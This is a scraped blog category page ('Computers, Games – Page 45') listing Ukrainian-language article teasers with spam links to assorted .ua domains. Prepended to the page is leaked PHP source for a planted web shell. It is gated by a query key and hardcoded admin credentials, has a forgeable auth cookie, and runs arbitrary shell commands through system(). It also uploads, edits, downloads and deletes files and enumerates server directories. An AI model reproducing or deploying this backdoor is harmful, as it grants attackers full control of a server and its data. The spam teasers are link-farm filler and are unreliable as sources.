if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 45 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • Фітнес для жінок: ефективні тренування вдома та в залі

    Фітнес для жінок – це важлива складова здорового способу життя, яка допомагає підтримувати фізичну форму, покращувати самопочуття та підвищувати впевненість у собі. У цій статті ми розглянемо ефективні тренування, які можна виконувати як вдома, так і в залі, https://glamexpert.net.ua щоб кожна жінка могла знайти оптимальний варіант для себе. Чому важливий фітнес для жінок? Фітнес має…

    Click or not…

  • Харчування коней: раціон та догляд за здоров’ям

    Харчування коней є одним з найважливіших аспектів їхнього утримання, оскільки правильний раціон безпосередньо впливає на здоров’я, продуктивність та загальний стан тварини. Коні – травоїдні тварини, які потребують збалансованого харчування, що включає не лише грубі корми, https://careguide.in.ua але й концентровані та вітамінно-мінеральні добавки. Основу раціону коней складають грубі корми, такі як сіно та солома. Сіно повинно…

    Click or not…

  • Вибір сантехніки: якість, дизайн та довговічність

    Вибір сантехніки є важливим етапом при ремонті або облаштуванні ванної кімнати та кухні. Сантехніка не лише виконує функціональні завдання, https://realtyguide.in.ua але й впливає на загальний вигляд приміщення. У цій статті ми розглянемо три основні критерії вибору сантехніки: якість, дизайн та довговічність. Перш за все, якість сантехніки є ключовим фактором. Вона визначає, як довго прослужить ваш…

    Click or not…

  • Як підтримувати імунітет в осінньо-зимовий період: поради онлайн

    Осінньо-зимовий період – це час, https://medreview.in.ua/ коли наш організм найбільше піддається ризику різних захворювань, зокрема простудних і вірусних. Підтримання імунітету в цей час є надзвичайно важливим. Ось кілька порад, як зміцнити свій імунітет у холодну пору року. По-перше, важливо звернути увагу на харчування. Збалансований раціон, багатий вітамінами і мінералами, допоможе вашому організму боротися зі збудниками…

    Click or not…

  • Підвіска автомобіля: діагностика та обслуговування

    Підвіска автомобіля є однією з найважливіших систем, https://motojournal.net.ua що забезпечують комфорт і безпеку під час руху. Вона відповідає за амортизацію ударів, що виникають при русі по нерівностях дороги, а також за стабільність та керованість автомобіля. У цій статті ми розглянемо основні аспекти діагностики та обслуговування підвіски автомобіля. Діагностика підвіски є важливим етапом у забезпеченні безпеки…

    Click or not…

  • Фінансовий аналіз для малого бізнесу: основи та інструменти

    Фінансовий аналіз є невід’ємною частиною управління малим бізнесом. Він дозволяє підприємцям оцінити фінансовий стан компанії, виявити сильні та слабкі сторони, а також приймати обґрунтовані рішення для подальшого розвитку. У цьому звіті розглянемо основи фінансового аналізу, https://beautyinsight.in.ua його значення для малого бізнесу та інструменти, які можуть бути використані для його проведення. По-перше, фінансовий аналіз допомагає підприємцям…

    Click or not…

  • Як захистити свій смартфон від шпигунського програмного забезпечення

    Сучасні смартфони стали невід’ємною частиною нашого життя. Вони зберігають важливу інформацію, таку як контакти, фотографії, фінансові дані та особисті повідомлення. Однак, зростання використання смартфонів також призвело до збільшення кількості загроз, зокрема шпигунського програмного забезпечення (шпигунських програм). Це програмне забезпечення може стежити за вашими діями, https://digitalfocus.org.ua збирати особисті дані і навіть контролювати ваш пристрій. У цій…

    Click or not…

  • Реєстрація нерухомості: технічний паспорт, інвентаризація та право власності

    Реєстрація нерухомості в Україні є важливим етапом у процесі купівлі-продажу, https://legalfocus.org.ua оренди чи передачі прав власності на нерухоме майно. Цей процес включає кілька ключових етапів, серед яких технічний паспорт, інвентаризація та оформлення права власності. Кожен з цих етапів має свої особливості та вимоги, які необхідно враховувати. Першим кроком у процесі реєстрації є отримання технічного паспорта.…

    Click or not…

  • Політична журналістика: як уникати упередженості

    Політична журналістика відіграє важливу роль у формуванні громадської думки, впливаючи на рішення виборців і політичні процеси. Однак, dailyonline.net.ua упередженість у висвітленні політичних подій може спотворити інформацію і призвести до маніпуляцій. У цьому зв’язку важливо розглянути, як журналісти можуть уникати упередженості у своїй роботі. По-перше, журналісти повинні дотримуватися принципу об’єктивності. Це означає, що інформація має подаватися…

    Click or not…

  • Домашній догляд за волоссям: маски, олії та бальзами

    Догляд за волоссям є важливою складовою загального вигляду людини. Здорове, блискуче волосся свідчить про правильний догляд та увагу до себе. У цій статті ми розглянемо різні засоби домашнього догляду за волоссям, зокрема маски, https://prettyspace.com.ua олії та бальзами, які можна легко приготувати вдома. Маски для волосся Маски для волосся є одним з найефективніших способів живлення та…

    Click or not…